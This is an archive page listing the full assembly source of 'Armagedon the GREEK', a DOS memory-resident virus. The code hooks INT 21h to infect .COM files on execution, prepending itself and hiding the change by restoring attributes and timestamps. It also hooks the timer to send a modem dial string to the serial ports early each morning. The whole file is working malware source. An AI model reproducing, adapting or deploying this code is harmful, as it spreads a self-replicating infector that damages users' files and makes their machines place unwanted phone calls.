home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ARMAGEDO.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  17KB  |  524 lines

  1. dta                        equ            offset last_byte+10
  2. virlen                equ            (offset last_byte - offset start)
  3. strlen                equ            (offset endstr - offset startstr)
  4.  
  5. code                    segment
  6.                             assume     cs:code,ds:code
  7.                             org            100h
  8. start:                jmp         main
  9.  
  10. newint21            proc         far                                        ; SETS THE 'INT 21h' VIRUSED
  11.                             pushf                                                  ; Save flags for compare     
  12.                       cmp         ah,0e0h               ; Is it exist-test?      
  13.                       jnz         notest1               ; if not go on   
  14.                         mov         ax,0dadah             ; else return signature,
  15.                       popf                                                    ; restore flag and
  16.                             iret                            ; return to program
  17. notest1:            cmp            ah,0e1h
  18.                             jnz            notest2
  19.                             mov            ax,cs
  20.                             popf
  21.                             iret
  22. notest2:      cmp         ax,4b00h              ; is 'EXEC' command?
  23.                             jz             infector                            ; if yes go to 'infection'
  24. do_oldint:    popf                            ; restore flags        
  25.                       jmp         dword ptr cs:oldint21a; jump to normal INT 21h
  26. newint21            endp
  27.  
  28. oldint21a            dw             ?                                            ; old INT 21h vector (low)
  29. oldint21b            dw             ?                                            ; old INT 21h vector (high)
  30. oldint8a            dw             ?                                            ; old INT 8 vector (low)
  31. oldint8b            dw             ?                                            ; old INT 8 vector (high)
  32. status                db             0                                            ; flag for time (call in progress)
  33. ticks                    db             0                                            ; 18.2 tick counter
  34. cur_h                    db             0                                            ; Current time (HOURS)
  35. cur_m                    db             0                                            ; Current time (MINUTES)
  36. cur_s                    db             0                                            ; Current time (SECONDS)
  37. count                    dw             0                                            ; dial counter (30 sec, 540 ticks)
  38. garbidge            db            0
  39. stringpos            db            0
  40. call_made            db            0
  41. init_done            db            0
  42. comext                db             'COM'                                    ; Valid inf. extension
  43. handle                dw             ?                                            ; inf. handle number
  44. filesize            dw            20
  45. prseg                    dw            ?
  46. seg_buffer        dw            ?
  47. ss_reg                dw            ?
  48. sp_reg                dw            ?
  49. fileds                dw            ?
  50. filedx                dw            ?
  51. attr                    dw            ?
  52. filedate            dw            ?
  53. filetime            dw            ?
  54.  
  55. env_seg                dw            00h
  56. cdline_offs        dw            81h
  57. cdline_seg        dw            ?
  58. fcb1_offs            dw            5ch
  59. fcb1_seg            dw            ?
  60. fcb2_offs            dw            6ch
  61. fcb2_seg            dw            ?
  62.  
  63. infector            proc         near                                    ; PROGRAM INFECTOR
  64.                             assume     cs:code                                ;
  65.                             push         ds                                        ; save registers to
  66.                             push         bx                                        ; insure normal operation
  67.                             push         si                                        ; by the INT 21h (ah=4b00h)
  68.                           push         cx                                        ; 
  69.                             push         ax                                        ;
  70.                           push         dx                                        ;
  71.                             push         bp                                        ;
  72.                             push         es                                        ;
  73.                             push        di                                        ;
  74.  
  75.                             cld                                                        ; Reset direction to increament
  76.                             push         dx                                        ; Store the address of the
  77.                             push         ds                                        ; filespec (DS:DX)
  78.                             xor            cx,cx                                    ; reset counter
  79.                             mov            si,dx                                    ; set ptr to filespec
  80. nxtchr:                mov         al,ds:[si]                        ; take a char
  81.                             cmp         al,0                                    ; is it zero?
  82.                             jz            okay                                    ; if yes goto okay
  83.                             inc         cx                                        ; else increase counter
  84.                             inc         si                                        ; and pointer
  85.                             jmp            nxtchr                                ; take the next chr if CX>0
  86. okay:
  87.                             add            dx,cx                                    ; Point to end of filespec
  88.                             sub            dx,3                                    ; point to .EXT
  89.                             mov         si,offset comext            ; Check if it is a
  90.                             mov         di,dx                                    ; .COM file
  91.                             cmp            byte ptr ds:[di-3],'N'; 
  92.                             jnz            ok_1                                    ; Is it a ND. ?
  93.                             cmp            byte ptr ds:[di-2],'D'; if yes exit!
  94.                             jz            nmatch                                ;
  95. ok_1:                    mov         cx,3                                    ; checking counter in 3
  96. cmp_loop:            mov         al,cs:[si]                        ;    take 1st ptr's chr
  97.                             cmp         al,ds:[di]                        ;    and compare it with filespec
  98.                             jnz         nmatch                                ; If no matching, exit
  99.                             inc         si                                        ; else increase 1st ptr
  100.                             inc         di                                        ; and second ptr
  101.                             loop         cmp_loop                            ; take next compare if CX>0
  102.  
  103.                             pop         ds                                        ;    restore ds and dx to point
  104.                             pop         dx                                        ; 
  105.                             
  106.                             push         dx                                        ; Store pointer
  107.                             push         ds                                        ;                    
  108.                             mov         si,dx                                    ; Check if filespec    
  109.                             mov         dl,0                                    ; contains a drive
  110.                             cmp         byte ptr ds:[si+1],':'; letter
  111.                             jnz         nodrive                                ; If no jump to nodrive spec.
  112.                             mov         dl,ds:[si]                        ; else take the drive in DL
  113.                             and         dl,0fh                                ; and modify for int 21h (ah=36h)
  114. nodrive:            mov         ah,36h                                ; Take free disk space of DL disk 
  115.                             int         21h                                        ; Do the call
  116.                             cmp         ax,0ffffh                            ; Was an invalid drive specified?
  117.                             jz             nmatch                                ; if yes, exit
  118.                             jmp            bypass                                ; Correct jx 127 limit
  119.  
  120. nmatch:                jmp            nomatch
  121. invd:                    jmp            invdrive
  122. closeit1:            jmp            closeit
  123. resdta1:            jmp            resdta
  124.  
  125. bypass:                cmp         bx,3                                    ; Are there at least 3 clust. free?
  126.                             jb             nmatch                                ; If no, exit
  127.                             pop         ds                                        ; restore pointers
  128.                             pop         dx                                        ;
  129.  
  130.                             push        ds                                        ; and allocate memory
  131.                             push        dx                                        ; for the infection
  132.                             mov          cs:fileds,ds
  133.                             mov            cs:filedx,dx
  134.                             mov            ax,4300h                            ; code for Get Attr
  135.                             int            21h
  136.                             mov            cs:attr,cx
  137.                             mov            ax,4301h
  138.                             xor            cx,cx
  139.                             int            21h
  140.  
  141.                             mov            bx,0ffffh
  142.                             mov            ah,48h
  143.                             int            21h
  144.                             mov            ah,48h
  145.                             int            21h
  146.                             mov            cs:seg_buffer,ax
  147.  
  148.                             mov            ax,cs
  149.                             mov            ds,ax
  150.                             mov            dx,dta
  151.                             mov            ah,1ah
  152.                             int            21h
  153.     
  154.                             pop            dx
  155.                             pop            ds
  156.                             mov         ax,3d02h                            ; DosFn OPEN FILE (R/W)
  157.                             clc                                                        ; Clear carry flag
  158.                             int         21h                                        ; Do open
  159.                             jc            closeit1                            ; If Error exit
  160.                             mov          bx,ax                                    ; Handle to BX
  161.                             mov            cs:handle,ax                    ; save handle
  162.                             mov         cx,0ffffh                            ; Bytes to read
  163.                             mov            ax,cs:seg_buffer            ;
  164.                             mov            ds,ax                                    ;
  165.                             mov            dx,virlen                            ; DS:DX points to buffer
  166.                             mov            ah,3fh                                ; DosFn READ FROM FILE
  167.                             clc                                                        ; clear carry flag
  168.                             int            21h                                        ; Do the call
  169.                             jc            closeit1                            ; if error exit
  170.                             mov            cs:filesize,ax                ; Num of bytes actually read
  171.                                 ;cmp            ax,0e000h                            ; max com size to infect
  172.                                 ;ja            closeit1                            ; if size>max exit 
  173.                             cmp            ax,virlen                            ; if filesize is less than the
  174.                             jb            virit                                    ; virus size then it is clean
  175.                             mov            si,virlen+1                        ; Set 1st ptr to START of file
  176.                             add         si,si                                    ; add 1st ptr the length of file
  177.                             sub            si,21                                    ; and subtract 12 to point to sig.
  178.                             mov            cx,19                                    ; set the test loop to 10 bytes    
  179.                             mov            di,offset signature        ; Set 2nd ptr to constant signature
  180. test_sig:            mov            al,ds:[si]                        ; take the byte pointed to by SI
  181.                             mov            ah,cs:[di]                        ; and compare it with the byte
  182.                             cmp            ah,al                                    ; pointed to by DI
  183.                             jne            virit                                    ; if not equal then it is clean!
  184.                             inc            si                                        ; else increase 1st pointer
  185.                             inc         di                                        ; increase 2nd pointer
  186.                             loop        test_sig                            ; continue with next if CX>0
  187.                             jmp            closeit
  188.  
  189. virit:                mov            ax,4200h                            ; Code for LSEEK (Start)
  190.                             mov            bx,cs:handle                    ; Handle num in BX
  191.                             xor            cx,cx                                    ; Reset CX
  192.                             mov            dx,cx                                    ; and DX
  193.                             int            21h                                        ; Do the call
  194.                             jc            closeit
  195.  
  196.                             mov            si,offset start                
  197.                             mov            cx,virlen
  198.                             xor            di,di
  199.                             mov            ax,cs:seg_buffer
  200.                             mov            ds,ax
  201. virusin:            mov            al,cs:[si]
  202.                             mov            ds:[di],al
  203.                             inc            si
  204.                             inc            di
  205.                             loop        virusin
  206.  
  207.                             mov            ax,5700h
  208.                             mov            bx,cs:handle
  209.                             int            21h
  210.                             mov            cs:filetime,cx
  211.                             mov            cs:filedate,dx                            
  212.  
  213.                             mov            ax,cs:seg_buffer
  214.                             mov            ds,ax
  215.  
  216.                             mov            si,virlen
  217.                             mov            al,ds:[si]
  218.                             add            al,11
  219.                             mov            ds:[si],al
  220.  
  221.                             xor            dx,dx                                    ; DX points to Buffer (file)
  222.                             mov            cx,cs:filesize                ; Size of file in CX
  223.                             add         cx,virlen                            ; But added by Virlen
  224.                             mov            bx,cs:handle                    ; File handle num in BX
  225.                             mov            ah,40h                                ; Code for WRITE FILE
  226.                             int         21h                                        ; Do the call
  227.  
  228.                             mov            cx,cs:filetime
  229.                             mov            dx,cs:filedate
  230.                             mov            bx,cs:handle
  231.                             mov            ax,5701h
  232.                             int            21h
  233.  
  234. closeit:            mov            bx,cs:handle                    ; Handle in BX
  235.                             mov            ah,3eh                                ; Code for CLOSE FILE
  236.                             int            21h                                        ; Do close it
  237.                             push        cs    
  238.                             pop            ds
  239. resdta:                mov            dx,80h                                ; Reset the DTA
  240.                             mov            ah,1ah                                ; in Address 80H
  241.                             int         21h                                        ; Do call
  242.                             mov            ax,cs:seg_buffer
  243.                             mov            es,ax
  244.                             mov            ah,49h
  245.                             int            21h
  246.  
  247.                             mov            ax,cs:fileds                    ;
  248.                             mov            ds,ax                                    ;
  249.                             mov            dx,cs:filedx                    ;
  250.                             mov            ax,4301h                            ;
  251.                             mov            cx,cs:attr                        ;
  252.                             int         21h                                        ;
  253.                             jmp         invdrive                            ; and exit
  254. nomatch:            
  255.                             pop         ds                                        
  256.                             pop            dx
  257.                             jmp     notinfect
  258.  
  259. invdrive:
  260. notinfect:
  261.                             pop            di                                        ; restore registers
  262.                             pop         es                                        ; to their initial 
  263.                             pop         bp                                        ; values
  264.                             pop         dx                                        ;
  265.                             pop         ax                                        ;
  266.                             pop         cx                                        ;
  267.                             pop         si                                        ;
  268.                             pop         bx                                        ;
  269.                             pop         ds                                        ;
  270.                             jmp         do_oldint                            ; return from call 
  271. infector             endp
  272.  
  273. newint8                proc         far                                        ; VIRUS' TIMER ISR
  274.                             push        bp                                        ; 
  275.                             push        ds                                        ; store all registers
  276.                             push         es                                        ; and flags before
  277.                             push        ax                                        ; the new timer 
  278.                             push        bx                                        ; operations.
  279.                             push         cx                                        ; Otherwize a 'crush'
  280.                             push         dx                                        ; is unavoidable
  281.                             push        si                                        ;    
  282.                             push        di                                        ;        
  283.                             pushf                                                    ; Simulate an INT
  284.                             call         dword ptr cs:oldint8a    ; Do old timer stuff
  285.                             call         tick                                    ; update virus clock routine
  286.                             push        cs
  287.                             pop            ds
  288.                             mov         ah,5                                    ; Check if time
  289.                             mov            ch,cur_h                            ; is now above the
  290.                             cmp         ah,ch                                    ; lower limit (5 o'clock)
  291.                             ja             exitpoint                            ; if not, exit
  292.                             mov         ah,6                                    ; Check if time
  293.                             cmp         ah,ch                                    ; is now below the higher limit
  294.                             jb             exitpoint                            ; if not, exit
  295.                             mov         ah,status                            ; get the virus status
  296.                             cmp            ah,1                                    ; test if call in progress
  297.                             jz            in_progress                        ; if yes goto countdown routine
  298.                             mov         ah,1                                    ; if not, set the status to 
  299.                             mov            status,ah                            ; indicate 'In progress'
  300.                             jmp         exitpoint                            ; and exit
  301. in_progress:                                                                ; CALL IS IN PROGRESS!
  302.                             call         dial                                    ; else call dial routine
  303.                             inc         count                               ; CALL_TIMER
  304.                             mov            ax,count
  305.                             cmp            ax,540                                ; check for time-out
  306.                             jne            exitpoint                            ; if not, exit else 
  307.                             xor         ax,ax                                    ; set status to indicate
  308.                             mov     status,ah                            ; 'ready to call'!
  309.                             mov            count,ax                            ; reset call_timer 
  310.                             mov            call_made,ah
  311. exitpoint:    
  312.                             pop         di                                        ; restore registers to 
  313.                             pop            si                                        ; their values and
  314.                             pop            dx                                        ; 
  315.                             pop            cx                                        ;
  316.                             pop            bx                                        ;
  317.                             pop            ax                                        ;
  318.                             pop            es                                        ;
  319.                             pop         ds                                        ;
  320.                             pop         bp                                        ;    
  321.                             iret                                                    ; return to program
  322. newint8                endp
  323.  
  324. tick                    proc         near                                    ; VIRUS' CLOCK ROUTINE
  325.                             assume  cs:code,ds:code
  326.                             push        cs
  327.                             pop            ds
  328.                             xor            al,al
  329.                             mov         ah,ticks                            ; test if ticks have
  330.                             cmp            ah,17                                    ; reached limit (17)
  331.                             jnz            incticks                            ; if no, incerase ticks
  332.                             mov            ah,cur_s                            ; test if seconds have
  333.                             cmp            ah,59                                    ; reached limit (59)
  334.                             jnz            incsec                                ; if no, increase seconds
  335.                             mov         ah,cur_m                            ; test if minutes have
  336.                             cmp         ah,59                                    ; reached limit (59)
  337.                             jnz            incmin                                ; if no, increase minutes
  338.                             mov         ah,cur_h                            ; test if hours have
  339.                             cmp            ah,23                                    ; reached limit (23)
  340.                             jnz            inchour                                ; if no, increase hours
  341.                             mov            cur_h,al                            ; else reset hours
  342. exitp3:                mov            cur_m,al                            ; reset minutes
  343. exitp2:                mov            cur_s,al                            ; reset seconds
  344. exitp1:                mov            ticks,al                            ; reset ticks
  345.                             ret                                                        ; end exit
  346. incticks:            inc         ticks                                    ; increase ticks
  347.                             ret                                                        ; and exit
  348. incsec:                inc            cur_s                                    ; increase seconds
  349.                             jmp            exitp1                                ; and exit
  350. incmin:                inc         cur_m                                    ; increase minutes
  351.                             jmp            exitp2                                ; and exit
  352. inchour:            inc            cur_h                                    ; increase hours 
  353.                             jmp         exitp3                                ; end exit
  354. tick                    endp
  355.  
  356. startstr:
  357. string                db             '+++aTh0m0s7=35dp081,,,,141'
  358. endstr:
  359.  
  360. dial                    proc         near
  361.                             assume     cs:code,ds:code
  362.                             
  363.                             mov            al,call_made
  364.                             cmp            al,1
  365.                             jz            exit_dial
  366.                             mov            al,init_done
  367.                             cmp            al,1
  368.                             jz            send_one
  369.                             
  370.                             mov            cx,3
  371. next_init:        mov         dx,cx
  372.                             xor            ah,ah
  373.                             mov         al,131
  374.                             int         14h
  375.                             loop         next_init
  376.                             mov            al,1
  377.                             mov            init_done,al
  378.                             jmp            exit_dial
  379.  
  380. send_one:            push        cs
  381.                             pop            ds
  382.                             mov         si,offset string
  383.                             mov            al,stringpos
  384.                             cmp            al,strlen
  385.                             jnz            do_send
  386.                             jmp            sendret
  387.  
  388. do_send:            xor            ah,ah
  389.                             add            si,ax
  390. next_char:        mov         al,[si]
  391.                             mov         dx,3f8h
  392.                             out         dx,al
  393.                             mov         dx,2f8h
  394.                             out         dx,al
  395.                             mov         dx,2e8h
  396.                             out         dx,al
  397.                             mov         dx,3e8h
  398.                             out         dx,al
  399.                             inc            stringpos
  400.                             jmp            exit_dial
  401.  
  402. sendret:            mov            cx,3
  403. retloop:            mov            dx,cx
  404.                             mov            al,13
  405.                             mov            ah,1
  406.                             int            14h
  407.                             loop        retloop
  408.  
  409. reset:                mov            ax,0001h
  410.                             mov            call_made,al
  411.                             mov            stringpos,ah
  412.                             mov            init_done,ah
  413. exit_dial:        ret
  414. dial                    endp
  415.  
  416. main:                                                                                ; VIRUS' MEMORY INSTALLER 
  417.                             assume  cs:code,ds:code              ; 
  418.                             mov         ah,0e0h                                ; is VIRUS already 
  419.                             int         21h                                        ; in memory?
  420.                             cmp         ax,0dadah                            ; if yes then
  421.                             jnz          cont                                    ; terminate, else
  422.                             jmp            already_in
  423. cont:                    push        cs
  424.                             pop            ds
  425.                             mov         ax,3521h                            ; capture the old             
  426.                             int         21h                                        ; INT 21h vector and
  427.                             mov         oldint21a,bx                    ; store the absolute address
  428.                             mov         oldint21b,es                    ; in 'oldint21x' variables
  429.                             mov         dx,offset newint21        ; point to new INT 21h ISR
  430.                             mov         ax,2521h                            ; replace it to vector
  431.                             int         21h                                        ; 
  432.                             mov         ax,3508h                            ; capture the old
  433.                             int         21h                                        ; timer vector and
  434.                             mov         oldint8a,bx                        ; store the address
  435.                             mov         oldint8b,es                        ; in 'oldint8x' var
  436.                             mov         dx,offset newint8            ; point to new timer ISR
  437.                             mov         ax,2508h                            ; replace it to vector
  438.                             int         21h                                        ;  
  439.                             mov         ah,2ch                                ; get the current
  440.                             int         21h                                        ; time from DOS
  441.                             mov         cur_h,ch                            ; and store it
  442.                             mov         cur_m,cl                            ; for the 
  443.                             mov         cur_s,dh                            ; virus' timer
  444.                             ; RUN PROGRAM!
  445.                             mov         ax,cs:[2ch]
  446.                             mov            ds,ax
  447.                             xor            si,si
  448. loop1:                mov            al,ds:[si]
  449.                             cmp         al,1
  450.                             jz            exitl1
  451.                             inc            si
  452.                             jmp            loop1
  453. exitl1:                inc            si
  454.                             inc            si
  455.                             mov         dx,si
  456.  
  457.                             mov            ax,cs
  458.                             mov            es,ax                            ; SHRINK  BLOCK
  459.                             mov            bx,90
  460.                             mov            ah,4ah
  461.                             int            21h
  462.  
  463.                             mov            bx,cs:[81h]
  464.                             mov            ax,cs
  465.                             mov            es,ax
  466.                             mov            cs:fcb1_seg,ax
  467.                             mov            cs:fcb2_seg,ax
  468.                             mov            cs:cdline_seg,ax
  469.                             mov            ax,4b00h
  470.                             ;                    
  471.                             ;
  472.                             ;
  473.                             mov            cs:ss_reg,ss
  474.                             mov            cs:sp_reg,sp
  475.                             pushf
  476.                             call         dword ptr cs:oldint21a
  477.                             mov            ax,cs:ss_reg
  478.                             mov            ss,ax
  479.                             mov            ax,cs:sp_reg
  480.                             mov            sp,ax
  481.                             mov            ax,cs
  482.                             mov            ds,ax
  483.                             mov         dx,offset last_byte
  484.                             int         27h
  485.                             
  486. already_in:        mov            ah,0e1h
  487.                             int            21h
  488.                             mov            si,offset pokelabl
  489.                             mov            cs:[si+3],ax
  490.                             mov            ax,offset fix_com
  491.                             mov            cs:[si+1],ax
  492.                             mov            ax,cs:filesize
  493.                             mov            bx,cs
  494. pokelabl:            db            0eah,00h,00h,00h,00h
  495.  
  496. fix_com:            mov            cx,ax
  497.                             mov            ds,bx
  498.                             mov            si,100h
  499.                             mov            di,100h+virlen
  500. dofix:                mov            al,ds:[di]
  501.                             mov            ds:[si],al
  502.                             inc            si
  503.                             inc            di
  504.                             loop        dofix
  505.                             mov            si,offset poklb
  506.                             mov            cs:[si+3],ds
  507.                             mov            al,ds:[100h]
  508.                             sub            al,11
  509.                             mov            ds:[100h],al
  510.                             mov            ax,ds
  511.                             mov            es,ax
  512.                             mov            ss,ax
  513. poklb:                db            0eah,00h,01h,00h,00h
  514.  
  515. signature:        db             'Armagedon the GREEK'
  516. last_byte:        db            90h+11
  517.                             nop
  518.                             nop
  519.                             nop
  520.                             mov            ah,4ch
  521.                             int         21h
  522. code                    ends
  523.                             end         start
  524.